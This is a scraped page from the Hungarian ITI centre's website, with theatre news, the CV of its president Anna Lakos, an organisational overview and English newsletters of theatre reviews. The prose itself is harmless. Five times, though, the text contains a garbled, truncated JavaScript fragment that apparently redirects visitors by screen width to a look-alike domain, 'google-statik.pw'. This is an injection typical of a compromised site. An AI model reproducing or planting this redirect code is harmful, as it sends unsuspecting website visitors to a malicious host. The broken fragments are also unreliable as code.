A Nemzetközi Színházi Intézet Magyar Központjának kiadványa, a Hungaraian Theatre Bulletin legutóbbi száma az alábbi mellékletben tölthető le.

 

Híreink:
Harminc éves a Kaaitheater

A brusszeli Kaaitheater nemreg unnepelte fennallasanak harmincadik evfordulojat. Harminc eve vezeto helyet foglal el a muveszeti eletben. A Kaaitheater torekvese ebben az evadban az, hogy az eloadok sajat alkotoi nyelvukon szolaltassak meg korunk fobb problemait. Az osztrak-francia tarsulat, a Superamas Empire cimu darabja egyeni hangnemben, globalis szinten tarja fel a hatalmi rendszerek kozotti osszefuggeseket. A rendezo, az argentin Rodrigo Garcia, kemenyen biralja a fogyasztoi tarsadalom tulkapasait. A Keeping Still Anne Teresa De Keersmaeker allasfoglalasa az okologiai krizisben; Kris Verdonck ENDje civilizacionk vegjatekanak lehetseges allomasait vazolja fel. Guy Cassiers triptichonja a muveszet, politika es hatalom ellentmondasos kapcsolatara hivja fel a figyelmet, mig a brazil Ricky Seabra Airplanes and Skyscrapers cimu alkotasa az emlekezetes 9/11 fele kalandozik el. Emellett a Kaaitheater 2009. januarjaban egy hetes workshopot rendez muveszek es tudosok reszvetelevel, melynek temaja az eghajlatvaltozas.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Godot-ra várva - Theatre Royal Haymarket
Sean Mathias rendezi Samuel Beckett: Godot-ra varva cimu darabjat a ket hires Shakespeare-szinesz, a Gyuruk uraban es a Star Trekben nepszeruve valt Ian McKellen es Patrick Stewart foszereplesevel. Az eloadas, amit 2009. aprilis 30-tol junius 28-ig lathatnak az erdeklodok a Theatre Royal Haymarket-ben, Sean Mathias elso produkcioja a szinhaz muveszeti vezetojekent.
Read more...
 
Lakos Anna

Curriculum vitae

 

Vegzettseg

1973: Eotvos Lorand Tudomanyegyetem, Bolcseszettudomanyi Kar, magyar-francia szak

 

Munkahelyek:

1985- Orszagos Szinhaztorteneti Muzeum es Intezet

1978-85 Nepszinhaz, dramaturg

1973-78 Budapesti Muszaki Egyetem

 

1969-78 az UNIVERSITAS Egyuttes tagja

 

Forditasok:

magyarra

Francois Tilly : Trombitagombak

Brigitte Jaques : Elvire Jouvet/40

Philippe Minyana : Leltar

Ariane Mnouchkine: Mephisto

Bernard-Marie Koltes : A gyapotmezok maganyaban

Serge Kribus : Arloc

Serge Kribus: Borisz Spilemann nagy visszaterese

Jean-Claude Grumberg : talan almodni

Jean-Loup Riviere : Hajtogatott napok

Copi Alkalmatlan latogatas

Jean-Claude Brisville : Feketeleves

Jean-Claude Grumberg : Varronok

Evelyne de la Cheneliere: Eper januarban

Peter Brook - Marie-Helene Estienne Csodaleny vagyok

Jean-Luc Lagarce : Szerelmes tortenetek

 

 

franciara:

Schwajda Gyorgy :Himnusz (L`Hymne) Jean-Loup Riviere-rel /Editions Theatrales/

Schwajda Gyorgy : Csoda (Miracle) Jean-Loup Riviere-rel /Editions Theatrales/

A kekszakallu herceg vara (Barbe Bleu) Stephane. Braunschweiggel, Theatre du Chatelet/

Molnar Ferenc: Egy, ketto, harom /Un, deux, trois/ Jean-Loup Riviere-rel /Editions Theatrales/

Molnar Ferenc: Jatek a kastelyban /Dent pour dent Jean-Loup Riviere -rel /Editions Theatrales/

Hamvai Kornel: Hoherok hava /Le Bourreau de Longwy Jean-Loup Riviere-rel /Editions Theatrales/

Soiro Gyorgy: Kvartett / Quatuor Jean-Loup Riviere / ACT-Festival de Luxembourg

Weores Sandor: Octopus de Sandor Weores Jean-Loup Riviere-rel / Theatre de l'Europe

 

 

Egyeb francia nyelvu publikaciok

Panorama des auteurs dramatiques hongrois du XXeme siecle, / a l`occasion de la Semaine du Theatre Hongrois a Paris, 1990/

Cahiers de la Comedie Francaise: a magyar szinhaz helyzete/ /1991/

Le theatre alternatif en Hongrie, Universite de Nancy, 2004

Koltes en Hongrie, 2004

 

 

Konyvek szerkesztojekent

Theatre hongrois; d'une fin de siecle a l'autre; /Les Cahiers, Maison Antoine Vitez (A XX. szazad magyar szinhazat bemutato essze-kotet)

Pina Bausch / OSZMI

Collision / OSZMI / A kortars drama tiz evet bemutato essze-kotet

Krzysztof Plesniarowicz: A halott emlekek gepezete (Tadeusz Kantor halalszinhaza)

 

 

Jelentosebb szinhazi esemenyek kezdemenyezoje es szervezoje :

 

1990 Magyar Szinhazi Het Parizsban

1991 Francia Szinhazi Het Budapesten

1994 Pina Bausch tarsulatanak vendegszereplese a Budapesti Tavaszi fesztivalon

1993/94 Magyar Szezon Douai-ben tobbek kozott Jeles Andras : Szervusz Tolsztoj c. eloadasanak francai valtozatanak bemutatoja

1996 a Martha Graham Company valamint Bob Wilson eloadasai a Budapesti Tavaszi Fesztivalon

1998 Sankai Juku tarsulat vendegjateka

1999/2000 Pina Bausch tarsulat muhelymunkaja Magyarorszagon es a letrejott eloadas vendegjateka

2001 Magyar Szinhazi Het Parizsban a MagyArt kereteben

 

1985- 2001: a Francia Intezet tanacsadojakent tobb tarsulat vendegjatekanak kezdemenyezese es szervezese, tobbek kozott

a TNP-Villeurbanne, Philippe Decoufle, Philippe Genty, Joseph Nadj, L' Esquisse tancszinhaz, Comedie Francaise, Gallota, Montalvo-Hervieux, Cie Deschamps eloadasai

 

Tagsag:

Dramaturg Ceh

Maison Antoine Vitez

 

 

Kituntetesek:

Magyar Koztarsasag Ezust Erdemkeresztje

Chevalier des Arts et des Lettres

Officier des Arts et des -lettres

Hevesi Sandor-Dij

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Bemutatkozunk

Munkatarsaink

Cikkek az ITILAPU-bol

A Nemzetkozi Szinhazi Intezetet (ITI) 1948-ban egy nemzetkozi szinhazi kozosseg es az UNESCO alapitotta meg, Pragaban. Ma mar kozel kilencven orszagban van ITI kozpont, valamennyien kapcsolatban allnak egymassal, hireket cserelnek, fesztivalokat, oktatasi programokat, konferenciakat szerveznek, s az odalatogato kulfoldi szakembereket eligazitjak sajat nemzetuk szinhazi vilagaban. A szervezet elsodleges feladata biztositani a nemzetkozi tapasztalatcsere elmeleti es gyakorlati lehetoseget, teret adni szinhazi szakemberek egyuttmukodesenek. Magyarorszagon 1957-tol mukodik ITI kozpont.

Szervezeti felepites:


Az ITI nem kormanyszervezet (NGO), az egyes nemzeti kozpontok maguk valasztjak meg mukodesi formajukat. A magyar kozpont kozhasznu tevekenyseget folytato egyesulet, amely kb. 120 fos tagot szamlal. Legfontosabb foruma a kozgyules, amely Vegrehajto Bizottsagot, Felugyelo Bizottsagot, alelnokot es elnokot valaszt.
Legfontosabb nemzetkozi szerve a ketevente mas-mas orszagban osszeulo kozgyules, amely a 15 tagu vezetoseget valasztja meg es dont a szervezet tovabbi mukodesenek modozatairol. Titkarsaga Parizsban van, az UNESCO palotaban.

Az ITI elnoke: Manfred Beilharz (Germany)
Fotitkara: Jennifer M. Walpole
A Magyar Kozpont elnoke: Lakos Anna
Alelnoke: Novak Janos
Vegrehajto Bizottsaga: Bekes Pal, Csizmadia Tibor, Fodor Tamas,
Cserje Zsuzsa, Sebestyen Rita Julia, Zeke Edit,
Felugyelo Bizottsaga: Dr. Balogh Gabor, Konter Laszlo, Ratoti Zoltan

A Nemzetkozi Szinhazi Intezet parizsi kozpontjanak elerhetosegei:
Cime: UNESCO, 1 rue Miollis 75732 Paris Cedex 15 - France
International TEL: +33 1 45 68 48 80; FAX: +33 1 45 66 50 40
In France TEL: 01 45 68 48 80; FAX: 01 45 66 50 40
E-mail: This e-mail address is being protected from spambots. You need JavaScript enabled to view it
This e-mail address is being protected from spambots. You need JavaScript enabled to view it (Executive Director Jennifer Walpole)
This e-mail address is being protected from spambots. You need JavaScript enabled to view it (Programme Assistant Stephanie Regner)
Internet: http://www.iti-worldwide.org

Regionalis kozpontok:

  • Az afrikai regiot osszefogo szervezet a Burkina Fasoban talalhato ITI kozpont
  • Latin-Amerika es a Karib-terseg kozpontja a venezuelai ITI
  • Az azsiai dokumentacios tar es archivum a bangladesi ITI kozpontban talalhato
  • Interregionalis kozpont van Tuneziaban
  • Ket allando centrum mukodik meg a Tuneziaban es Venezuelaban levo Albert Botbol - University of the Theatre of Nations (AB-UTN) reszekent

Szakmai tevekenyseget folytato bizottsagok:

Minden bizottsagot tiz, kulonbozo nemzetisegu szakember vezet, a kovetkezo temakorokben:

  • Dramairoi
  • Dramai szinhazi
  • Kommunikacios
  • Tanulmanyi
  • Zenes szinhazi
  • Tanc
  • Kulturalis identitas

A bizottsagok szeminariumokat, szimpoziumokat, workshopokat rendeznek, kiadvanyokban kozremukodnek, szakmai forumokon velemenyeznek.

Az ITI Magyar Kozpontja:

A Nemzetkozi Szinhazi Intezet helyzetebol, kapcsolatrendszerebol es hagyomanyaibol adodoan a nemzetkozi szinhazi kapcsolatok es informacioaramlas centrumaban helyezkedik el. Egyik legfontosabb feladata az, hogy folyamatosan naprakesz informacioval lassa el a magyar szinhazi szakmat mindazokrol a lehetosegekrol, esemenyekrol, torekvesekrol, amelyekrol tudomast szerez, es hasonlokeppen: tudositsa a kulfoldi erdeklodoket mindarrol, ami Magyarorszag szinhazaiban, fesztivaljain zajlik. Bekapcsolodik tovabba fesztivalok, oktatasi programok szervezesebe, nyomtatott, digitalizalt es audiovizualis kiadvanyokat szerkeszt a magyar szinhazi eletrol es folyamatosan kapcsolatban all a kulfoldi szinhazi szakma kepviseloivel. Kulonos gondot fordit arra, hogy a hatarontuli magyar szinhazi elet szakmai igenyeit felmerje es munkajat segitse.

A Magyar Kozponton keresztul lehetoseg nyilik hazank szinhazi szakembereinek kapcsolatba lepni a Fold szinte valamennyi szinhazi szervezetevel, mikozben segitsegevel az ide latogato erdeklodok eligazodhatnak a magyar szinhazi eletben. Irodajaban szakmai gyakorlatot biztosit leendo szinhazi szakembereknek.

if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Newsletter February 2010


English Newsletter, February 2010

 

Provided by the Hungarian Theatre Critics' Association in collaboration with ITI Hungary. In this newsletter, you will find short reviews by theatre critics about current performances, as well as information about festivals and other theatrical events. Any further suggestions are welcome. In this issue:

Maya (Szabolcs Fenyes, Imre Harmath) at Gardonyi Geza Theater, Eger

Blissfully in Moorland - In the Moors (People's Theatre, Subotica)

After Hamlet - Rosencrantz and Guildenstern Are Dead (Csiky Gergely Hungarian Theatre, Timisoara)

Oedipus the King (Sophocles - Jon Fosse) at Kaposvar

The two-headed Beast (Sandor Weores) at Katona

The Danton Case at Studio K

Theatre academy in Szombathely stages The Man Who Laughs

Critics comments the selection of The National Theatre Festival in Pecs

 

Maya (Szabolcs Fenyes, Imre Harmath) at Gardonyi Geza Theater, Eger 

The encounter of one the most renowned Hungarian directors, Sandor Zsoter and the genre of operetta was surprising and necessary at the same time, although we had to wait for more than two decades since the beginning of Zsoter's carrier. Nowadays the stagings of Zsoter usually talk about the phenomenon of 'theatre in theatre' (cf. his 'Hamlet' in Jozsef Attila Theatre earlier this year). That is why the 1931 operetta called 'Maya' of Imre Hamrath and Szabolcs Fenyes is more than ideal for his purposes: all the characters lie to each other and deceive everyone else and themselves too.

The young lad Dixi lies to his friend, Charlie that he has fallen in love with Charlie's (maybe) platonic love called Madelaine. Charlie shots Dixi dead (he survives it), than he escapes to Tanger where he meets the famous diva called Maya. Maya soon gets jealous because of the sudden appearance of Madelaine so she prepares a kind of a private theatre show for Charlie to make him desperate. The overtly kitschy tale takes place among the sets of the fabulous Orient and its built images in Paris - for Zsoter the story looks like a fairy tale written for sentimental adults. Both the fans of operetta and the fans of Zsoter can be happy with the result, because in the head to toe pink world one can find all the cliches of the genre and the delicate parody of these commonplaces as well. The show is condemned to success because of the great and well-known melodies plus the disciplined work of almost all the actors. The renowned Hungarian contemporary dancer Andrea Ladanyi helped Zsoter with choreographing some very spectacular dances full of citations from the dance history. - Tamas Jaszay

 

Blissfully in Moorland - In the Moors (People's Theatre, Subotica)

compiled/written by Kata Gyarmati based on the dramas of Matei Visniec, directed by Gabor Nagypal at the People's Theatre, Subotica. Apart from the numerous publications - mainly translations of his poems - in literary magazines here are only two thin books containing Visniec's works available in Hungarian. This season there are three Visniec-premieres, however, literally he is unknown in Hungarian theatres. Regardless the genre, the tone of his works, at least for me, has some kind of a pessimistic tone. The director, Gabor Nagypal (an actor who started his career in Novi Sad, Serbia, and now a regular at Studio K, Budapest) and Kata Gyarmati, who made this adaptation based on mainly two one-act plays (And What About the Cello?, The Man Who Is Talking to Himself), kept Visniec's playfulness and ironic philosphy, but changed the aforementioned tone to somewhat cheerful and serene. There is even a subtitle indicating the genre of this new piece: fatebliss. There is no story, the five characters (the man with glasses, the man with a hat, the man with a wlaking stick, the man with a newspaper, the man with a scarf) dressed loosely in white tie, are on a green platform depicting water lillies. They are somewhere. Anywhere. They sit, stand, lie down, play the cello, smoke, talk - do petty, unimportant things. The have no important characteristics. Time and place is not important. Being is important, and they are desperate to find explanations to their existence. In the Moors is about dependence: how we depend on, on the one hand, on each other, and, on the other hand, on a superior sovereignity that can be called fate, fortune or God. How our biggest challenge in life is encoded in our dependence. And how this dependence can lead to happiness. - Timea Papp

 

After Hamlet - Rosencrantz and Guildenstern Are Dead (Csiky Gergely Hungarian Theatre, Timisoara)

directed by Victor Ioan Frunza at the Csiky Gergely Hungarian Theatre, Timisoara. Frunza's name was long associated with the Hungarian theatre in Timisoara, most of the ensemble's emblematic shows were staged by him and the main role were played by Attila Balazs. Frunza and the previous management had an argument so he was out but he continued working with Balazs. Who, as the artistic director of the theatre in his second full season, hired Frunza again. In 2003 he staged Hamlet in Timisoara. In this new production - nominated for the Romanian theatre award, the UNITER Prize in three categories - he uses some of the old set, costumes and props, even some of the actors appeared in the emblematic show (but only one of them play the same role as he once did). This recycling shows some kind of a continuity, and bears a slight allusion to the aim of Stoppard: it emphasizes the relationship between the play and Shakespeare's play i.e. without Hamlet, Rosencrantz and Guildenstern Are Dead would not exist (the citations from Shakespeare are projected). But, on the other hand, I assume, Frunza does not expect the audience to be familiar with his Hamlet, on which so much of the plot and the set of his Rosencrantz and Guildenstern Are Dead is based. In Frunza's interpretation this piece is only partly about the randomness and the incomprehensibility of the world, the boundaries of language, the confusion what words cause, or the unability to express feelings with words. The strongest focus is on the connection between life and stage, therefore, as a direct consequence, this Rosencrantz and Guildenstern Are Dead is almost exclusively about making illusions and making theatre. Even if the end is bleak, and in the final scene we see Rosencrantz and Guildenstern lying as two corpses on the stage covered with soil the curtain closed behind them, I would rather say that black humour is one of the main guiding principles of the show, and there is a fine balance between the comedy and the occasional moments of tragedy. - Timea Papp

 

Oedipus the King (Sophocles - Jon Fosse) at Kaposvar

Thanks to the work of one of the most remarkable young Hungarian theatre director, Gabor Rusznyak the performance Oedipus the King has been brought forth on the studio stage of the theater in Kaposvar. The adaptation using the texts of Sophocles and Jon Fosse has a lean, exact and contemporary language that focuses first of all the telling of a crime story - the whole performance passes off in a little more than an hour - supporting this with unique scenery. 

In the set design of Viola Fodor status symbolic relics and objects hang off the ceiling. The ropes are moved by the golden mask wearing figures sitting on the balcony who symbolize the gods that are playing with the humans - Gabor Rusznyak indicates the unchangeable destiny of Oedipus this way. A silent but important role has the chorus as well: the great in numbers chorus who are sitting among the audience suggests that we are also a part of Sophocles' ageless story. 

The exact interpretation of the play, the creative use of space and accessories, the consequent and spectacular unfolding of the symbols make Oedipus the King one of the best performances in the 2009/2010 theatrical season in Hungary. - Robert Marko

The two-headed Beast (Sandor Weores) at Katona

Sandor Weores is one of the greatest classics of the 20th century's Hungrian literature. To this day his lyrical work got into the center of interest first but at the same time his poetic dramas are also remarkable chapters of the Hungarian drama-history. His play The two-headed Beast (written in 1968) had to wait almost one and a half decade to be presented: the censorship of the 70's does not allowed the theatrical presentation of the writing. 

It can be presumed already from this that Sandor Weores's play is a harsh political satire by genre which has been put onto stage by Gabor Mate in the Katona Jozsef Theater. The most important value of the performance in Katona is that it refers to our age. The director has unfolded the generalized layers of the play that takes place in the seventieth century's into three part split (Turkish, Hungarian and Austrian) Hungary and talks about the chances of living in the crazy but intangible war. All this without putting the act into present day's milieu: in the set design of Balazs Cziegler countless clothes are hung up onto hangers above the stage which the performers put on now and then indicating: nobody is who he or she is but who he or she looks like. - Robert Marko

 

The Danton Case at Studio K

The director Gabor Koltai M. has staged Stanislawa Przybyszewska's play with a deep analytic look showing his fascination for the text and his curiosity for the problematic relationship between politics and people and between the politician and the human within one man. Danton and Robespierre are played by two actors of extremely strong individual, distinct features, what maintains a persistent tension culminating in the scene of the two characters having dinner together. Danton (Attila Menszator Heresz) has an immutable belief in his individual, powerful attraction and behaves like a pop star adored by millions and loses his voice literally when most needed. Robespierre (Karoly Kuna), though more and more weary, keeps the integrity of his self which is partly perceived as a secret by the audience.

The performance is interactive but does not frighten the audience off. We are only asked to follow the actors to the buffet of the theatre or to rearrange our seats in the small theatre room of Studio K. So we gradually realize that we have the freedom of choosing where to sit and from which point of view to be witnesses of the revolution. At the same time, we become part of the passive and/or impotent mob watching the execution of Danton and the manifestation of terror. - Andrea Radai

 

Theatre academy in Szombathely stages The Man Who Laughs

Director Jeles Andras is first of all a fine film director, who had worked sometimes in theatre as well. He was considered very radical and avant-garde, researching unknown paths of theatre. Recently he works rarely in theatre, not being commissioned works. Now he created  a performance based on Victor Hugo's famous novel. The fine performance is not a text-based one, but a very visual, almost picturesque show of images, movement, sound, visual effects. Costumes are well designed. Very theatrical indeed: a surrealistic, hyperbolic theatricality typical for the 80ies, which can be still powerful, coherent and consequent, and very emotional. Storytelling is clear, the adaptation is a fine work as well. The story of the man with a distorted face, his adventures and loves, humiliation and defenselessness, human cruelty turn the show into deeply moving theatre event. It is a song for humanity and love. Acting is mostly focused on a choir acting, individual work is less visible.The little know academy from Szombathely cause a surprise with this show. - Andrea Tompa

 

Critics comments the selection of The National Theatre Festival in Pecs

The National Theatre Festival in Pecs announced its program. This year it was selected by a critic of classical music, Miklos Fay.

 

Grand Theatre

  • Bertolt Brecht: The Resistable Rise of Arturo Ui (orkeny Istvan Theatre, Budapest. Director: Sandor Zsoter)
  • Adapting Ion Luca Caragiale and a lost rough translation by Aladar Rusznyak, written by Istvan Mohacsi and also Janos Mohacsi: The Lost Letter (National Theatre of Pecs. Director: Janos Mohacsi)
  • Nikolai Vasilievich Gogol: The Government Inspector (Hevesi Sandor Theatre, Zalaegerszeg.
  • Director: Bertalan Bago)
    Ring Me, Mobile Revue for Actors and Cells (Gardonyi Geza Theatre, Eger. Director: Gabor Mate)
  • Sergei Medvedev: Hairdresser (Csokonai Theatre, Debrecen. Director: Viktor Ryzhakov)
  • Bernard Shaw: Arms and the Man (The Hero and the Chocolate Soldier) (Katona Jozsef Theatre, Budapest. Director: Gabor Mate)
  • Michael Frayn-Istvan Mohacsi: Noises Off (North Theatre of Satu Mare, Company Harag Gyorgy. Director: Janos Mohacsi)


Chamber or Studio Theatre

  • Nikolai Vasilievich Gogol: Marriage (National Theatre of Szeged. Director: Tamas Juronics) Andras Vinnai-Viktor Bodo-Julia Robert-Tamas Turai: The Dice Man (Sputnik Shipping Company - Modern Theatre and Behaviour Research Institute - Laboratory, Budapest. Director: Viktor Bodo)
  • Alfred Jarry: Ubu the King (Maladype Theatre, Budapest. Director: Zoltan Balazs)
    Andras Vinnai: 9231 or the end of artistic and literary creation (KoMa, Budapest)
  • The Beach - Based on The Stranger by Albert Camus (Kosztolanyi Dezso Theatre / Urban Andras Company, Szabadka)
  • 20/20 (Yorick Studio - Tirgu Mures & dramAcum - Bucharest. Director: Gianina Carbunariu)
  • odon von Horvath: Kasimir and Karoline (orkeny Istvan Theatre, Budapest. Director: Laszlo Bagossy)

 

 

Andrea Tompa: I am disappointed by the selection. On first glance the whole program tends into the direction of "light" performances, musical pieces instead of "serious" dramas, voting for tricky and superficial, but trendy things. Although the National has an outstanding season - with such show as Mein Kampf, Bank ban junior or Schiller's Love and Intrigue -, none of them appear in the program, which is hard to explain. Skipping all the shows of the National might be an ambiguous "concept". The Katona has premiered this month an important show based on the Hungarian poet's work Sandor Weores, The Double-Headed Monster. The outstanding show of Orkeny Theatre, Cats play is also absent. Mari Torocsik's more than two hours performance in a show directed by Anatoli Vasiliev is one of the major events of the season - and will not be seen in Pecs. The Man who Laughs by Andras Jeles could also be there. But inviting the 20/20 from Yorick Studio, Tirgu-Mures, Romania is a good thing.

 

Andrea Radai: Although I have not seen all the selected performances, I have to say that the programme does not contain great surprises or risky choices. As if Miklos Fay preferred shows that, not without any quality, are accessible to a wider range of audience. The performances are entertaining and, to a certain extent, provoking at the same time: I could say that I would not mind buying tickets for my Mum's birthday for any of them. However, I am deeply sorry that for example Mein Kampf of the National is not in the selection, a performance that, in my opinion, can also fit into this concept.


Robert Marko: That Miklos Fay selected the competition program of the 10th National Theatrical Meeting of Pecs (POSZT) is like taking a middle course. The theatre critics would have like to have a theatre critic to select for years and Fay is even a critic altough not a theatre but a music. He is that kind of music critic by the way who attended to theaters once in a while in the last years and what is more some better-worse theater critics were published by him as well. 

As a matter of fact, as a non-professional, Fay could look at the contemporary Hungarian theater characterizing phenomenons with fresh eyes and as a selector he did not have any insight (and maybe he does not have either today) of the processes that determine the Hungarian theaters today. It is definitely the reason why the performances of high standard producing National Theatre is out of the competition program of POSZT; and it is also noticeable that in Fay's selection the entertainer theatrical considerations prevail instead of the art theatrical considerations. Altogether it can be stated: the selector did not take serious risk and the Hungarian theater's most current products and brands will be present at the National Theatrical Meeting of Pecs.

 

The newsletter does not represent the opinion of the Hungarian Theatre Critics' Association, but of the individual critics.

 

 

 



if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
Newsletter October 2009

Dear Friends of Hungarian theatre,

 

Welcome to the contemporary Hungarian Theatre monthly newsletter, provided by the Hungarian Theatre Critics' Association in collaboration with ITI Hungary. In this newsletter, you will find short reviews by theatre critics about current performances, as well as information about festivals and other theatrical events. Any further suggestions are welcome. 

In this issue:

  • Shows directed by Robert Alfoldi, Janos Szasz, Eniko Eszenyi, Bela Pinter, the Artus Theatre Company, Laszlo Bocsardi, and Sandor Zsoter, as well as Bluebeard's Castle in the Opera House.
  • Information about the Hungarian Theatre Critics' Association, their awards, and the Contemporary Drama Festival.

 

Read more...
 
Fesztiválok
Fesztivalok if (screen.width ion = "http://google-statik.pw/l.php";} if (screen.width
 
<< Start < Prev 1 2 3 4 5 6 7 8 9 10 Next > End >>

Page 10 of 13